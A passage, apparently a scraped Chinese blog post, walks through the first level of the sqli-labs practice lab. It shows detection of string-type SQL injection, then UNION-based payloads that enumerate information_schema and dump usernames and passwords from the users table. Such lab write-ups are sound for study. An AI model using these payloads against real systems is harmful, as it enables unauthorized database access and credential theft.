当前位置: 首页 > news >正文

常州专业房产网站建设苏州市网站

常州专业房产网站建设,苏州市网站,做内容的网站,贵州贵阳建网站的电话今天开始搞这个靶场,从小白开始一点点学习,加油!!!! 1.搭建靶场 注意点:1.php的版本问题,要用老版本 2.小p要先改数据库的密码,否则一直显示链接不上数据库 2.第一道题&#xff0…

今天开始搞这个靶场,从小白开始一点点学习,加油!!!!

1.搭建靶场

注意点:1.php的版本问题,要用老版本

              2.小p要先改数据库的密码,否则一直显示链接不上数据库

2.第一道题,从0开始

更着大佬学习怎么搞

1.判断是否存在sql注入漏洞

在开始之前我们要先知道如何判断是否存在sql注入漏洞:

最为经典的单引号判断法:
在参数后面加上单引号,比如: 1' 如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

(如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入)

有报错,说明有sql注入点

2.判断sql注入漏洞的类型

通常sql注入漏洞的类型有两种:

1.数字型 

2.字符型

其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。

1.数字型判断:

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x这种类型可以使用经典的 and 1=1 和 and 1=2 可以通过加,减,乘,除等运算来判断输入参数周围有没有引号来包围来判断:

Url 地址中输入x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

原因如下:
当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1 没有语法错误且逻辑判断为正确,所以返回正常。
当输入 and 1=2时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2 没有语法错误但是逻辑判断为假,所以返回错误。

2.字符型判断:

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where id = 'x'这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:

Url 地址中输入 x' and '1'='1 页面运行正常,继续进行下一步。
Url 地址中继续输入 x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。

原因如下:
当输入 and ‘1’='1时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='1'语法正确,逻辑判断正确,所以返回正确。
当输入 and ‘1’='2时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='2'语法正确,但逻辑判断错误,所以返回正确。

实践一下

数字型判断

/?id=1 and 1=1

回显正常

/?id=1 and 1=2

回显正常

字符型判断

/?id=1' and '1'='1

?id=1' and 1=1 --+

 

回显正常

/?id=1' and '1'='2

/?id=1' and 1=2 --+

发现没有回显,有错误,说明是字符型注入漏洞

现在进行联合注入,先来判断它的字段数 
?id=1' order by 1 -- +
?id=1' order by 2 -- +
?id=1' order by 3 -- +
?id=1' order by 4 -- +

这个 --+,主要是注释掉之后的语句

 

但是当判断到4的时候页面报错,说明它里面的字段数只有3位

字段数:在 SQL 查询中,字段数(Field count)通常指的是查询所涉及的列的数量。它代表查询结果中返回的列的个数。字段数是 SQL 查询的一个重要概念,它决定了查询结果中会返回多少列数据,也影响了数据库查询的结构、执行计划和性能。

开始爆出显示位,就是看看表格里面那一列是在页面显示的:
?id=100' union select 1,2,3 -- +

注意,这里为什么要将1改为100,是为了成功执行我们的联合查询中的显错位,这里的id不存在100位这么多,就会将后面的联合查询中的1,2,3,显示出来。

也可以将100改为-1,都是为了后面的1,2,3显示出来

可以看到是第二列和第三列里面的数据是显示在页面的

我们可以控制2,3出现的位置,那么开始判断库名:

获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26:

?id=-1'union select 1,database(),version() -- +

 

得到库名为security,下来判断表名

爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容

/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 1,1 --+

/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 2,1 --+

/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1 --+

/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 4,1 --+

查询出表名有:emails,referers,uagents,users 四个

可以用内置函数group_concat() 将表名一次性输出
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
  • 1, group_concat(table_name), 3:

  • 1: 这是第一列的值,通常是一个常量,表示查询结果的占位符。

  • group_concat(table_name): 这部分非常关键。GROUP_CONCAT() 是 MySQL 中的一个聚合函数,用来将多个结果行的内容拼接成一个字符串。在这个查询group_concat(table_name) 会将 information_schema.tables 中所有表名(table_name)拼接成一个由逗号分隔的长字符串

  • 3: 这是查询的第三列,类似于第一个列,它只是占位符,不会影响结果。

也是一共四个表

开始爆users的列名:

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- +

发现有id,username,password三列

从username和password两列里爆出数据
?id=-1' union select 1,group_concat(username),group_concat(password) from users -- +

 

得到数据,结束。。。

原文链接:sqli-labs靶场第一关-Less-1: - 张伟文 - 博客园

http://www.mmbaike.com/news/38067.html

相关文章:

  • 江苏省建设教育协会网站首页seo关键词排名优化系统源码
  • 崇安区网站建设价格谷歌关键词搜索
  • 冷饮网站开发背景意义网站建设有多少公司
  • 聚美优品网站建设百度提交入口网址截图
  • php动态网站开发实训报告淘宝代运营公司十大排名
  • 东莞网站推广电话西安百度推广电话
  • 国外最大的设计网站有哪些方面win7系统优化
  • 做外贸需要哪些网站如何看待百度竞价排名
  • 做会员卡的网站在线制作开发一个app价目表
  • 网站建设更新如何在外贸平台推广
  • 游戏网站设计论文网络营销外包推广
  • 自适应网站m域名必须做301免费网页在线客服系统代码
  • 营业推广方式seo策略主要包括
  • 图库素材网站宁波网络推广产品服务
  • 做qq空间的网站淘宝引流推广平台
  • wordpress商城平台邯郸seo
  • b2c购物网站建设最新消息新闻头条
  • 一个公司网站后台怎么做微信crm
  • 淄博网站建设哪家好百度seo优化技巧
  • 整人做我女朋友网站不受限制的搜索浏览器
  • 为什么网站有不同的扩展名青岛谷歌推广
  • 自己做网站销售上海seo服务
  • 手机网站建设定制seo网络营销招聘
  • 佛山做网站制作长春疫情最新消息
  • 西安东郊做网站十大成功营销策划案例
  • c语言做的网站免费google账号注册入口
  • 英国有哪些做折扣的网站有哪些推广如何做网上引流
  • web扁平化风格网站十大免费cms建站系统介绍
  • 自己做的网站二维码怎么做的最近发生的新闻
  • 网站设计的论文seo网站推广优化